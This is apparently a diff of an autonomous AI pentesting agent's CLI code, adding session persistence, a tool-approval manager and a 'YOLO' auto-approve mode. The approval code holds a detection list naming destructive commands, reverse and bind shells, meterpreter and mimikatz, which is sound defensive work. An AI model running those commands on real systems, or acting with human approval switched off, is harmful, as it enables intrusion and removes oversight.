|
+
// ===== Integration Methods =====
|
|
3770
|
+
/**
|
|
3771
|
+
* Get the system prompt for external streaming
|
|
3772
|
+
*/
|
|
3773
|
+
getSystemPrompt() {
|
|
3774
|
+
let systemPrompt = AUTONOMOUS_HACKING_PROMPT;
|
|
3775
|
+
if (this.currentAgent) {
|
|
3776
|
+
systemPrompt = buildAgentSystemPrompt(systemPrompt, this.currentAgent);
|
|
3777
|
+
}
|
|
3778
|
+
return systemPrompt;
|
|
3779
|
+
}
|
|
3780
|
+
/**
|
|
3781
|
+
* Get tools array for external use
|
|
3782
|
+
*/
|
|
3783
|
+
getTools() {
|
|
3784
|
+
return this.tools;
|
|
3785
|
+
}
|
|
3786
|
+
/**
|
|
3787
|
+
* Execute a tool directly (for streaming integration)
|
|
3788
|
+
*/
|
|
3789
|
+
async executeToolDirect(toolName, toolInput) {
|
|
3790
|
+
this.think(THOUGHT_TYPE.ACTION, `Executing tool: ${toolName}`);
|
|
3791
|
+
const hookResult = await this.hookExecutor.checkPreToolUse(toolName, toolInput);
|
|
3792
|
+
if (hookResult.decision === "block") {
|
|
3793
|
+
this.think(THOUGHT_TYPE.OBSERVATION, `Tool blocked by hook: ${hookResult.reason}`);
|
|
3794
|
+
return {
|
|
3795
|
+
success: false,
|
|
3796
|
+
output: `Tool blocked: ${hookResult.reason}`,
|
|
3797
|
+
duration: 0
|
|
3798
|
+
};
|
|
3799
|
+
}
|
|
3800
|
+
const result = await executeToolCall(toolName, toolInput);
|
|
3801
|
+
await this.hookExecutor.runPostToolUse(toolName, result.output);
|
|
3802
|
+
this.think(THOUGHT_TYPE.RESULT, `Tool ${toolName} result: ${result.output.substring(0, 200)}...`);
|
|
3803
|
+
this.emit(AGENT_EVENT.TOOL_RESULT, { name: toolName, result });
|
|
3804
|
+
return result;
|
|
3805
|
+
}
|
|
3806
|
+
/**
|
|
3807
|
+
* Get history for session persistence
|
|
3808
|
+
*/
|
|
3809
|
+
getHistory() {
|
|
3810
|
+
return this.state.history;
|
|
3811
|
+
}
|
|
3812
|
+
/**
|
|
3813
|
+
* Get all findings
|
|
3814
|
+
*/
|
|
3815
|
+
getFindings() {
|
|
3816
|
+
return this.state.findings;
|
|
3817
|
+
}
|
|
3818
|
+
/**
|
|
3819
|
+
* Get credentials
|
|
3820
|
+
*/
|
|
3821
|
+
getCredentials() {
|
|
3822
|
+
return this.state.credentials;
|
|
3823
|
+
}
|
|
3824
|
+
/**
|
|
3825
|
+
* Get compromised hosts
|
|
3826
|
+
*/
|
|
3827
|
+
getCompromisedHosts() {
|
|
3828
|
+
return this.state.compromisedHosts;
|
|
3829
|
+
}
|
|
3830
|
+
};
|
|
3831
|
+
|
|
3832
|
+
// src/core/session/session-manager.ts
|
|
3833
|
+
import * as fs3 from "fs/promises";
|
|
3834
|
+
import * as path3 from "path";
|
|
3835
|
+
import { EventEmitter as EventEmitter4 } from "events";
|
|
3836
|
+
var SESSIONS_DIR = ".pentesting/sessions";
|
|
3837
|
+
function generateSessionId() {
|
|
3838
|
+
const timestamp = Date.now().toString(36);
|
|
3839
|
+
const random = Math.random().toString(36).substring(2, 8);
|
|
3840
|
+
return `session_${timestamp}_${random}`;
|
|
3841
|
+
}
|
|
3842
|
+
var SessionManager = class extends EventEmitter4 {
|
|
3843
|
+
sessionsDir;
|
|
3844
|
+
currentSession = null;
|
|
3845
|
+
constructor(baseDir) {
|
|
3846
|
+
super();
|
|
3847
|
+
this.sessionsDir = path3.join(baseDir || process.cwd(), SESSIONS_DIR);
|
|
3848
|
+
}
|
|
3849
|
+
/**
|
|
3850
|
+
* Initialize sessions directory
|
|
3851
|
+
*/
|
|
3852
|
+
async initialize() {
|
|
3853
|
+
try {
|
|
3854
|
+
await fs3.mkdir(this.sessionsDir, { recursive: true });
|
|
3855
|
+
} catch {
|
|
3856
|
+
}
|
|
3857
|
+
}
|
|
3858
|
+
/**
|
|
3859
|
+
* Create a new session
|
|
3860
|
+
*/
|
|
3861
|
+
async createSession(objective, target) {
|
|
3862
|
+
await this.initialize();
|
|
3863
|
+
const now = (/* @__PURE__ */ new Date()).toISOString();
|
|
3864
|
+
const metadata = {
|
|
3865
|
+
id: generateSessionId(),
|
|
3866
|
+
createdAt: now,
|
|
3867
|
+
updatedAt: now,
|
|
3868
|
+
objective,
|
|
3869
|
+
target,
|
|
3870
|
+
currentPhase: "reconnaissance",
|
|
3871
|
+
status: "active"
|
|
3872
|
+
};
|
|
3873
|
+
this.currentSession = metadata;
|
|
3874
|
+
const sessionDir = path3.join(this.sessionsDir, metadata.id);
|
|
3875
|
+
await fs3.mkdir(sessionDir, { recursive: true });
|
|
3876
|
+
await this.saveMetadata(metadata);
|
|
3877
|
+
this.emit("session_created", metadata);
|
|
3878
|
+
return metadata;
|
|
3879
|
+
}
|
|
3880
|
+
/**
|
|
3881
|
+
* Save session metadata
|
|
3882
|
+
*/
|
|
3883
|
+
async saveMetadata(metadata) {
|
|
3884
|
+
const metadataPath = path3.join(this.sessionsDir, metadata.id, "metadata.json");
|
|
3885
|
+
await fs3.writeFile(metadataPath, JSON.stringify(metadata, null, 2));
|
|
3886
|
+
}
|
|
3887
|
+
/**
|
|
3888
|
+
* Save full session snapshot
|
|
3889
|
+
*/
|
|
3890
|
+
async saveSnapshot(snapshot) {
|
|
3891
|
+
if (!this.currentSession) {
|
|
3892
|
+
throw new Error("No active session");
|
|
3893
|
+
}
|
|
3894
|
+
const sessionDir = path3.join(this.sessionsDir, this.currentSession.id);
|
|
3895
|
+
this.currentSession.updatedAt = (/* @__PURE__ */ new Date()).toISOString();
|
|
3896
|
+
this.currentSession.currentPhase = snapshot.state.currentPhase;
|
|
3897
|
+
await this.saveMetadata(this.currentSession);
|
|
3898
|
+
const statePath = path3.join(sessionDir, "state.json");
|
|
3899
|
+
await fs3.writeFile(statePath, JSON.stringify(snapshot.state, null, 2));
|
|
3900
|
+
const configPath = path3.join(sessionDir, "config.json");
|
|
3901
|
+
await fs3.writeFile(configPath, JSON.stringify(snapshot.config, null, 2));
|
|
3902
|
+
const historyPath = path3.join(sessionDir, "history.jsonl");
|
|
3903
|
+
const historyLine = JSON.stringify({
|
|
3904
|
+
timestamp: this.currentSession.updatedAt,
|
|
3905
|
+
iteration: snapshot.state.iteration,
|
|
3906
|
+
phase: snapshot.state.currentPhase
|
|
3907
|
+
}) + "\n";
|
|
3908
|
+
await fs3.appendFile(historyPath, historyLine);
|
|
3909
|
+
this.emit("snapshot_saved", this.currentSession.id);
|
|
3910
|
+
}
|
|
3911
|
+
/**
|
|
3912
|
+
* Load a session by ID
|
|
3913
|
+
*/
|
|
3914
|
+
async loadSession(sessionId) {
|
|
3915
|
+
try {
|
|
3916
|
+
const sessionDir = path3.join(this.sessionsDir, sessionId);
|
|
3917
|
+
const metadataPath = path3.join(sessionDir, "metadata.json");
|
|
3918
|
+
const metadataContent = await fs3.readFile(metadataPath, "utf-8");
|
|
3919
|
+
const metadata = JSON.parse(metadataContent);
|
|
3920
|
+
const statePath = path3.join(sessionDir, "state.json");
|
|
3921
|
+
const stateContent = await fs3.readFile(statePath, "utf-8");
|
|
3922
|
+
const state = JSON.parse(stateContent);
|
|
3923
|
+
const configPath = path3.join(sessionDir, "config.json");
|
|
3924
|
+
let config = {};
|
|
3925
|
+
try {
|
|
3926
|
+
const configContent = await fs3.readFile(configPath, "utf-8");
|
|
3927
|
+
config = JSON.parse(configContent);
|
|
3928
|
+
} catch {
|
|
3929
|
+
}
|
|
3930
|
+
this.currentSession = metadata;
|
|
3931
|
+
this.emit("session_loaded", metadata);
|
|
3932
|
+
return { metadata, state, config };
|
|
3933
|
+
} catch {
|
|
3934
|
+
return null;
|
|
3935
|
+
}
|
|
3936
|
+
}
|
|
3937
|
+
/**
|
|
3938
|
+
* List all sessions
|
|
3939
|
+
*/
|
|
3940
|
+
async listSessions() {
|
|
3941
|
+
await this.initialize();
|
|
3942
|
+
try {
|
|
3943
|
+
const entries = await fs3.readdir(this.sessionsDir, { withFileTypes: true });
|
|
3944
|
+
const sessions = [];
|
|
3945
|
+
for (const entry of entries) {
|
|
3946
|
+
if (entry.isDirectory()) {
|
|
3947
|
+
try {
|
|
3948
|
+
const metadataPath = path3.join(this.sessionsDir, entry.name, "metadata.json");
|
|
3949
|
+
const content = await fs3.readFile(metadataPath, "utf-8");
|
|
3950
|
+
const metadata = JSON.parse(content);
|
|
3951
|
+
sessions.push({
|
|
3952
|
+
id: metadata.id,
|
|
3953
|
+
objective: metadata.objective,
|
|
3954
|
+
target: metadata.target,
|
|
3955
|
+
status: metadata.status,
|
|
3956
|
+
updatedAt: metadata.updatedAt
|
|
3957
|
+
});
|
|
3958
|
+
} catch {
|
|
3959
|
+
}
|
|
3960
|
+
}
|
|
3961
|
+
}
|
|
3962
|
+
sessions.sort(
|
|
3963
|
+
(a, b) => new Date(b.updatedAt).getTime() - new Date(a.updatedAt).getTime()
|
|
3964
|
+
);
|
|
3965
|
+
return sessions;
|
|
3966
|
+
} catch {
|
|
3967
|
+
return [];
|
|
3968
|
+
}
|
|
3969
|
+
}
|
|
3970
|
+
/**
|
|
3971
|
+
* Get most recent session
|
|
3972
|
+
*/
|
|
3973
|
+
async getRecentSession() {
|
|
3974
|
+
const sessions = await this.listSessions();
|
|
3975
|
+
if (sessions.length === 0) return null;
|
|
3976
|
+
return this.loadSession(sessions[0].id);
|
|
3977
|
+
}
|
|
3978
|
+
/**
|
|
3979
|
+
* Delete a session
|
|
3980
|
+
*/
|
|
3981
|
+
async deleteSession(sessionId) {
|
|
3982
|
+
try {
|
|
3983
|
+
const sessionDir = path3.join(this.sessionsDir, sessionId);
|
|
3984
|
+
await fs3.rm(sessionDir, { recursive: true });
|
|
3985
|
+
this.emit("session_deleted", sessionId);
|
|
3986
|
+
return true;
|
|
3987
|
+
} catch {
|
|
3988
|
+
return false;
|
|
3989
|
+
}
|
|
3990
|
+
}
|
|
3991
|
+
/**
|
|
3992
|
+
* Mark current session as completed/failed
|
|
3993
|
+
*/
|
|
3994
|
+
async endSession(status) {
|
|
3995
|
+
if (!this.currentSession) return;
|
|
3996
|
+
this.currentSession.status = status;
|
|
3997
|
+
this.currentSession.updatedAt = (/* @__PURE__ */ new Date()).toISOString();
|
|
3998
|
+
await this.saveMetadata(this.currentSession);
|
|
3999
|
+
this.emit("session_ended", { id: this.currentSession.id, status });
|
|
4000
|
+
this.currentSession = null;
|
|
4001
|
+
}
|
|
4002
|
+
/**
|
|
4003
|
+
* Get current session
|
|
4004
|
+
*/
|
|
4005
|
+
getCurrentSession() {
|
|
4006
|
+
return this.currentSession;
|
|
4007
|
+
}
|
|
4008
|
+
};
|
|
4009
|
+
var sessionManager = null;
|
|
4010
|
+
function getSessionManager() {
|
|
4011
|
+
if (!sessionManager) {
|
|
4012
|
+
sessionManager = new SessionManager();
|
|
4013
|
+
}
|
|
4014
|
+
return sessionManager;
|
|
4015
|
+
}
|
|
4016
|
+
|
|
4017
|
+
// src/core/approval/approval-manager.ts
|
|
4018
|
+
import { EventEmitter as EventEmitter5 } from "events";
|
|
4019
|
+
var APPROVAL_EVENT = {
|
|
4020
|
+
REQUEST: "approval_request",
|
|
4021
|
+
RESPONSE: "approval_response",
|
|
4022
|
+
TIMEOUT: "approval_timeout"
|
|
4023
|
+
};
|
|
4024
|
+
var CRITICAL_TOOLS = [
|
|
4025
|
+
"execute_command",
|
|
4026
|
+
"write_file",
|
|
4027
|
+
"delete_file",
|
|
4028
|
+
"modify_file",
|
|
4029
|
+
"send_request",
|
|
4030
|
+
"exploit_execute"
|
|
4031
|
+
];
|
|
4032
|
+
var HIGH_RISK_PATTERNS = [
|
|
4033
|
+
/rm\s+-rf/i,
|
|
4034
|
+
/mkfs/i,
|
|
4035
|
+
/dd\s+if=/i,
|
|
4036
|
+
/format/i,
|
|
4037
|
+
/shutdown/i,
|
|
4038
|
+
/reboot/i,
|
|
4039
|
+
/kill\s+-9/i,
|
|
4040
|
+
/pkill/i,
|
|
4041
|
+
/iptables/i,
|
|
4042
|
+
/ufw/i,
|
|
4043
|
+
/firewall/i,
|
|
4044
|
+
/passwd/i,
|
|
4045
|
+
/useradd/i,
|
|
4046
|
+
/userdel/i,
|
|
4047
|
+
/chmod\s+777/i,
|
|
4048
|
+
/chown/i,
|
|
4049
|
+
/sudo/i,
|
|
4050
|
+
/su\s+-/i,
|
|
4051
|
+
/nc\s+-e/i,
|
|
4052
|
+
/bash\s+-i/i,
|
|
4053
|
+
/reverse.*shell/i,
|
|
4054
|
+
/bind.*shell/i,
|
|
4055
|
+
/meterpreter/i,
|
|
4056
|
+
/mimikatz/i
|
|
4057
|
+
];
|
|
4058
|
+
function assessRisk(toolName, toolInput) {
|
|
4059
|
+
const inputStr = JSON.stringify(toolInput).toLowerCase();
|
|
4060
|
+
for (const pattern of HIGH_RISK_PATTERNS) {
|
|
4061
|
+
if (pattern.test(inputStr)) {
|
|
4062
|
+
return "critical";
|
|
4063
|
+
}
|
|
4064
|
+
}
|
|
4065
|
+
if (CRITICAL_TOOLS.includes(toolName)) {
|
|
4066
|
+
return "high";
|
|
4067
|
+
}
|
|
4068
|
+
if (toolName.includes("script") || toolName.includes("exec")) {
|
|
4069
|
+
return "medium";
|
|
4070
|
+
}
|
|
4071
|
+
if (toolName.includes("scan") || toolName.includes("request")) {
|
|
4072
|
+
return "medium";
|
|
4073
|
+
}
|
|
4074
|
+
return "low";
|
|
4075
|
+
}
|
|
4076
|
+
function generateRequestId() {
|
|
4077
|
+
return `approval_${Date.now()}_${Math.random().toString(36).substring(2, 8)}`;
|
|
4078
|
+
}
|
|
4079
|
+
var ApprovalManager = class extends EventEmitter5 {
|
|
4080
|
+
pendingRequests = /* @__PURE__ */ new Map();
|
|
4081
|
+
autoApprovedTools = /* @__PURE__ */ new Set();
|
|
4082
|
+
autoDeniedTools = /* @__PURE__ */ new Set();
|
|
4083
|
+
yoloMode = false;
|
|
4084
|
+
defaultTimeout = 6e4;
|
|
4085
|
+
// 1 minute
|
|
4086
|
+
constructor(options) {
|
|
4087
|
+
super();
|
|
4088
|
+
this.yoloMode = options?.yoloMode ?? false;
|
|
4089
|
+
this.defaultTimeout = options?.timeout ?? 6e4;
|
|
4090
|
+
}
|
|
4091
|
+
/**
|
|
4092
|
+
* Enable/disable YOLO mode (auto-approve everything)
|
|
4093
|
+
*/
|
|
4094
|
+
setYoloMode(enabled) {
|
|
4095
|
+
this.yoloMode = enabled;
|
|
4096
|
+
this.emit("yolo_mode_changed", enabled);
|
|
4097
|
+
}
|
|
4098
|
+
/**
|
|
4099
|
+
* Check if approval is required for a tool call
|
|
4100
|
+
*/
|
|
4101
|
+
requiresApproval(toolName, toolInput) {
|
|
4102
|
+
if (this.yoloMode) return false;
|
|
4103
|
+
if (this.autoApprovedTools.has(toolName)) return false;
|
|
4104
|
+
if (this.autoDeniedTools.has(toolName)) return true;
|
|
4105
|
+
const risk = assessRisk(toolName, toolInput);
|
|
4106
|
+
if (risk === "low") return false;
|
|
4107
|
+
return true;
|
|
4108
|
+
}
|
|
4109
|
+
/**
|
|
4110
|
+
* Request approval for a tool call
|
|
4111
|
+
*/
|
|
4112
|
+
async requestApproval(toolName, toolInput, reason) {
|
|
4113
|
+
if (this.autoDeniedTools.has(toolName)) {
|
|
4114
|
+
return "deny";
|
|
4115
|
+
}
|
|
4116
|
+
if (this.autoApprovedTools.has(toolName)) {
|
|
4117
|
+
return "approve";
|
|
4118
|
+
}
|
|
4119
|
+
const risk = assessRisk(toolName, toolInput);
|
|
4120
|
+
const request = {
|
|
4121
|
+
id: generateRequestId(),
|
|
4122
|
+
toolName,
|
|
4123
|
+
toolInput,
|
|
4124
|
+
reason: reason || `Tool "${toolName}" requires approval (${risk} risk)`,
|
|
4125
|
+
riskLevel: risk,
|
|
4126
|
+
timestamp: (/* @__PURE__ */ new Date()).toISOString()
|
|
4127
|
+
};
|
|
4128
|
+
this.pendingRequests.set(request.id, request);
|
|
4129
|
+
this.emit(APPROVAL_EVENT.REQUEST, request);
|
|
4130
|
+
return new Promise((resolve) => {
|
|
4131
|
+
const timeout = setTimeout(() => {
|
|
4132
|
+
this.pendingRequests.delete(request.id);
|
|
4133
|
+
this.emit(APPROVAL_EVENT.TIMEOUT, request.id);
|
|
4134
|
+
resolve("deny");
|
|
4135
|
+
}, this.defaultTimeout);
|
|
4136
|
+
const responseHandler = (response) => {
|
|
4137
|
+
if (response.requestId === request.id) {
|
|
4138
|
+
clearTimeout(timeout);
|
|
4139
|
+
this.pendingRequests.delete(request.id);
|
|
4140
|
+
this.removeListener(APPROVAL_EVENT.RESPONSE, responseHandler);
|
|
4141
|
+
if (response.decision === "approve_always") {
|
|
4142
|
+
this.autoApprovedTools.add(toolName);
|
|
4143
|
+
resolve("approve");
|
|
4144
|
+
} else if (response.decision === "deny_always") {
|
|
4145
|
+
this.autoDeniedTools.add(toolName);
|
|
4146
|
+
resolve("deny");
|
|
4147
|
+
} else {
|
|
4148
|
+
resolve(response.decision);
|
|
4149
|
+
}
|
|
4150
|
+
}
|
|
4151
|
+
};
|
|
4152
|
+
this.on(APPROVAL_EVENT.RESPONSE, responseHandler);
|
|
4153
|
+
});
|
|
4154
|
+
}
|
|
4155
|
+
/**
|
|
4156
|
+
* Respond to an approval request (called by UI)
|
|
4157
|
+
*/
|
|
4158
|
+
respond(requestId, decision) {
|
|
4159
|
+
const response = {
|
|
4160
|
+
requestId,
|
|
4161
|
+
decision,
|
|
4162
|
+
respondedAt: (/* @__PURE__ */ new Date()).toISOString()
|
|
4163
|
+
};
|
|
4164
|
+
this.emit(APPROVAL_EVENT.RESPONSE, response);
|
|
4165
|
+
}
|
|
4166
|
+
/**
|
|
4167
|
+
* Get pending requests
|
|
4168
|
+
*/
|
|
4169
|
+
getPendingRequests() {
|
|
4170
|
+
return Array.from(this.pendingRequests.values());
|
|
4171
|
+
}
|
|
4172
|
+
/**
|
|
4173
|
+
* Get auto-approved tools
|
|
4174
|
+
*/
|
|
4175
|
+
getAutoApprovedTools() {
|
|
4176
|
+
return Array.from(this.autoApprovedTools);
|
|
4177
|
+
}
|
|
4178
|
+
/**
|
|
4179
|
+
* Reset all auto decisions
|
|
4180
|
+
*/
|
|
4181
|
+
resetAutoDecisions() {
|
|
4182
|
+
this.autoApprovedTools.clear();
|
|
4183
|
+
this.autoDeniedTools.clear();
|
|
4184
|
+
}
|
|
2667
4185
|
};
|
|
4186
|
+
var approvalManager = null;
|
|
4187
|
+
function getApprovalManager(options) {
|
|
4188
|
+
if (!approvalManager) {
|
|
4189
|
+
approvalManager = new ApprovalManager(options);
|
|
4190
|
+
}
|
|
4191
|
+
return approvalManager;
|
|
4192
|
+
}
|
|
2668
4193
|
|
|
2669
4194
|
// src/config/theme.ts
|
|
2670
4195
|
var THEME = {
|
|
@@ -2760,7 +4285,10 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
2760
4285
|
const [isProcessing, setIsProcessing] = useState(false);
|
|
2761
4286
|
const [currentStatus, setCurrentStatus] = useState("");
|
|
2762
4287
|
const [elapsedTime, setElapsedTime] = useState(0);
|
|
4288
|
+
const [pendingApproval, setPendingApproval] = useState(null);
|
|
2763
4289
|
const [agent] = useState(() => new AutonomousHackingAgent(void 0, { autoApprove }));
|
|
4290
|
+
const sessionManager2 = getSessionManager();
|
|
4291
|
+
const approvalManager2 = getApprovalManager({ yoloMode: autoApprove });
|
|
2764
4292
|
const startTimeRef = useRef(0);
|
|
2765
4293
|
const timerRef = useRef(null);
|
|
2766
4294
|
const addMessage = useCallback((type, content, duration) => {
|
|
@@ -2789,6 +4317,9 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
2789
4317
|
}, []);
|
|
2790
4318
|
useEffect(() => {
|
|
2791
4319
|
addMessage(MESSAGE_TYPE.SYSTEM, "Pentesting Agent initialized. Type /help for commands.");
|
|
4320
|
+
if (autoApprove) {
|
|
4321
|
+
addMessage(MESSAGE_TYPE.SYSTEM, "\u26A0\uFE0F YOLO mode: Auto-approving all tools");
|
|
4322
|
+
}
|
|
2792
4323
|
if (target) {
|
|
2793
4324
|
agent.setTarget(target);
|
|
2794
4325
|
addMessage(MESSAGE_TYPE.SYSTEM, `Target: ${target}`);
|
|
@@ -2812,6 +4343,12 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
2812
4343
|
agent.on(AGENT_EVENT.FINDING, (finding) => {
|
|
2813
4344
|
addMessage(MESSAGE_TYPE.SYSTEM, `\u{1F3AF} [${finding.severity.toUpperCase()}] ${finding.title}`);
|
|
2814
4345
|
});
|
|
4346
|
+
agent.on(AGENT_EVENT.PHASE_CHANGE, (data) => {
|
|
4347
|
+
addMessage(MESSAGE_TYPE.SYSTEM, `\u{1F4CD} Phase: ${data.phaseId}`);
|
|
4348
|
+
});
|
|
4349
|
+
agent.on(AGENT_EVENT.CONTEXT_COMPACTED, () => {
|
|
4350
|
+
addMessage(MESSAGE_TYPE.SYSTEM, "\u{1F4BE} Context compacted to save tokens");
|
|
4351
|
+
});
|
|
2815
4352
|
agent.on(AGENT_EVENT.COMPLETE, () => {
|
|
2816
4353
|
const duration = stopTimer();
|
|
2817
4354
|
addMessage(MESSAGE_TYPE.SYSTEM, `\u2713 Complete (${duration}s)`);
|
|
@@ -2823,13 +4360,32 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
2823
4360
|
addMessage(MESSAGE_TYPE.ERROR, error.message);
|
|
2824
4361
|
setIsProcessing(false);
|
|
2825
4362
|
});
|
|
4363
|
+
approvalManager2.on(APPROVAL_EVENT.REQUEST, (req) => {
|
|
4364
|
+
setPendingApproval({
|
|
4365
|
+
id: req.id,
|
|
4366
|
+
toolName: req.toolName,
|
|
4367
|
+
riskLevel: req.riskLevel
|
|
4368
|
+
});
|
|
4369
|
+
addMessage(MESSAGE_TYPE.SYSTEM, `\u26A0\uFE0F APPROVAL NEEDED: ${req.toolName} (${req.riskLevel} risk)`);
|
|
4370
|
+
addMessage(MESSAGE_TYPE.SYSTEM, ` ${req.reason}`);
|
|
4371
|
+
addMessage(MESSAGE_TYPE.SYSTEM, " Type /approve or /deny");
|
|
4372
|
+
});
|
|
2826
4373
|
return () => {
|
|
2827
4374
|
if (timerRef.current) clearInterval(timerRef.current);
|
|
2828
4375
|
};
|
|
2829
|
-
}, [agent, target, addMessage, stopTimer]);
|
|
4376
|
+
}, [agent, target, addMessage, stopTimer, autoApprove, approvalManager2]);
|
|
2830
4377
|
const handleSubmit = useCallback(async (value) => {
|
|
2831
4378
|
const trimmed = value.trim();
|
|
2832
|
-
if (!trimmed
|
|
4379
|
+
if (!trimmed) return;
|
|
4380
|
+
if (pendingApproval && (trimmed === "/approve" || trimmed === "/deny" || trimmed === "/y" || trimmed === "/n")) {
|
|
4381
|
+
const decision = trimmed === "/approve" || trimmed === "/y" ? "approve" : "deny";
|
|
4382
|
+
approvalManager2.respond(pendingApproval.id, decision);
|
|
4383
|
+
addMessage(MESSAGE_TYPE.SYSTEM, decision === "approve" ? "\u2713 Approved" : "\u2717 Denied");
|
|
4384
|
+
setPendingApproval(null);
|
|
4385
|
+
setInput("");
|
|
4386
|
+
return;
|
|
4387
|
+
}
|
|
4388
|
+
if (isProcessing && !trimmed.startsWith("/")) return;
|
|
2833
4389
|
setInput("");
|
|
2834
4390
|
addMessage(MESSAGE_TYPE.USER, trimmed);
|
|
2835
4391
|
if (trimmed.startsWith("/")) {
|
|
@@ -2840,11 +4396,15 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
2840
4396
|
addMessage(
|
|
2841
4397
|
MESSAGE_TYPE.SYSTEM,
|
|
2842
4398
|
`/target <ip> Set target
|
|
2843
|
-
/start [goal] Start pentest
|
|
4399
|
+
/start [goal] Start autonomous pentest
|
|
2844
4400
|
/stop Stop operation
|
|
2845
4401
|
/findings Show findings
|
|
4402
|
+
/sessions List saved sessions
|
|
4403
|
+
/resume [id] Resume session
|
|
4404
|
+
/yolo Toggle auto-approve
|
|
2846
4405
|
/clear Clear screen
|
|
2847
|
-
/exit Exit
|
|
4406
|
+
/exit Exit
|
|
4407
|
+
/approve /deny Approve/deny tool (during approval)`
|
|
2848
4408
|
);
|
|
2849
4409
|
return;
|
|
2850
4410
|
case CLI_COMMAND.TARGET:
|
|
@@ -2858,11 +4418,18 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
2858
4418
|
return;
|
|
2859
4419
|
case CLI_COMMAND.START:
|
|
2860
4420
|
case "s":
|
|
4421
|
+
if (!agent.getState().target.primary) {
|
|
4422
|
+
addMessage(MESSAGE_TYPE.ERROR, "Set target first: /target <ip>");
|
|
4423
|
+
return;
|
|
4424
|
+
}
|
|
2861
4425
|
setIsProcessing(true);
|
|
2862
4426
|
startTimer();
|
|
2863
4427
|
const objective = args.join(" ") || "Perform comprehensive penetration testing";
|
|
2864
4428
|
setCurrentStatus("Initializing...");
|
|
4429
|
+
addMessage(MESSAGE_TYPE.SYSTEM, `\u{1F680} Starting: ${objective}`);
|
|
2865
4430
|
try {
|
|
4431
|
+
const session = await sessionManager2.createSession(objective, agent.getState().target.primary);
|
|
4432
|
+
addMessage(MESSAGE_TYPE.SYSTEM, `\u{1F4C1} Session: ${session.id}`);
|
|
2866
4433
|
await agent.runAutonomous(objective);
|
|
2867
4434
|
} catch (e) {
|
|
2868
4435
|
addMessage(MESSAGE_TYPE.ERROR, e instanceof Error ? e.message : String(e));
|
|
@@ -2884,9 +4451,44 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
2884
4451
|
if (findings.length === 0) {
|
|
2885
4452
|
addMessage(MESSAGE_TYPE.SYSTEM, "No findings.");
|
|
2886
4453
|
} else {
|
|
4454
|
+
addMessage(MESSAGE_TYPE.SYSTEM, `--- ${findings.length} Findings ---`);
|
|
2887
4455
|
findings.forEach((f) => addMessage(MESSAGE_TYPE.SYSTEM, `[${f.severity}] ${f.title}`));
|
|
2888
4456
|
}
|
|
2889
4457
|
return;
|
|
4458
|
+
case "sessions":
|
|
4459
|
+
try {
|
|
4460
|
+
const sessions = await sessionManager2.listSessions();
|
|
4461
|
+
if (sessions.length === 0) {
|
|
4462
|
+
addMessage(MESSAGE_TYPE.SYSTEM, "No saved sessions.");
|
|
4463
|
+
} else {
|
|
4464
|
+
addMessage(MESSAGE_TYPE.SYSTEM, `--- ${sessions.length} Sessions ---`);
|
|
4465
|
+
sessions.slice(0, 5).forEach(
|
|
4466
|
+
(s) => addMessage(MESSAGE_TYPE.SYSTEM, `${s.id.slice(-8)} | ${s.target} | ${s.status}`)
|
|
4467
|
+
);
|
|
4468
|
+
}
|
|
4469
|
+
} catch {
|
|
4470
|
+
addMessage(MESSAGE_TYPE.ERROR, "Failed to list sessions");
|
|
4471
|
+
}
|
|
4472
|
+
return;
|
|
4473
|
+
case "resume":
|
|
4474
|
+
try {
|
|
4475
|
+
const session = args[0] ? await sessionManager2.loadSession(args[0]) : await sessionManager2.getRecentSession();
|
|
4476
|
+
if (session) {
|
|
4477
|
+
agent.setTarget(session.metadata.target);
|
|
4478
|
+
addMessage(MESSAGE_TYPE.SYSTEM, `Resumed: ${session.metadata.objective}`);
|
|
4479
|
+
addMessage(MESSAGE_TYPE.SYSTEM, `Target: ${session.metadata.target}`);
|
|
4480
|
+
} else {
|
|
4481
|
+
addMessage(MESSAGE_TYPE.ERROR, "No session found");
|
|
4482
|
+
}
|
|
4483
|
+
} catch {
|
|
4484
|
+
addMessage(MESSAGE_TYPE.ERROR, "Failed to resume session");
|
|
4485
|
+
}
|
|
4486
|
+
return;
|
|
4487
|
+
case "yolo":
|
|
4488
|
+
const newYoloState = !approvalManager2.getAutoApprovedTools().length;
|
|
4489
|
+
approvalManager2.setYoloMode(newYoloState);
|
|
4490
|
+
addMessage(MESSAGE_TYPE.SYSTEM, newYoloState ? "\u26A0\uFE0F YOLO mode ON - Auto-approving all tools" : "\u{1F512} YOLO mode OFF - Manual approval required");
|
|
4491
|
+
return;
|
|
2890
4492
|
case CLI_COMMAND.CLEAR:
|
|
2891
4493
|
case "c":
|
|
2892
4494
|
setMessages([]);
|
|
@@ -2896,8 +4498,33 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
2896
4498
|
case "q":
|
|
2897
4499
|
exit();
|
|
2898
4500
|
return;
|
|
4501
|
+
case "approve":
|
|
4502
|
+
case "y":
|
|
4503
|
+
if (pendingApproval) {
|
|
4504
|
+
approvalManager2.respond(pendingApproval.id, "approve");
|
|
4505
|
+
addMessage(MESSAGE_TYPE.SYSTEM, "\u2713 Approved");
|
|
4506
|
+
setPendingApproval(null);
|
|
4507
|
+
} else {
|
|
4508
|
+
addMessage(MESSAGE_TYPE.ERROR, "No pending approval");
|
|
4509
|
+
}
|
|
4510
|
+
return;
|
|
4511
|
+
case "deny":
|
|
4512
|
+
case "n":
|
|
4513
|
+
if (pendingApproval) {
|
|
4514
|
+
approvalManager2.respond(pendingApproval.id, "deny");
|
|
4515
|
+
addMessage(MESSAGE_TYPE.SYSTEM, "\u2717 Denied");
|
|
4516
|
+
setPendingApproval(null);
|
|
4517
|
+
} else {
|
|
4518
|
+
addMessage(MESSAGE_TYPE.ERROR, "No pending approval");
|
|
4519
|
+
}
|
|
4520
|
+
return;
|
|
2899
4521
|
default:
|
|
2900
|
-
|
|
4522
|
+
const cmdResult = await agent.processCommand(trimmed);
|
|
4523
|
+
if (cmdResult) {
|
|
4524
|
+
addMessage(MESSAGE_TYPE.ASSISTANT, cmdResult);
|
|
4525
|
+
} else {
|
|
4526
|
+
addMessage(MESSAGE_TYPE.ERROR, `Unknown: ${cmd}`);
|
|
4527
|
+
}
|
|
2901
4528
|
return;
|
|
2902
4529
|
}
|
|
2903
4530
|
}
|
|
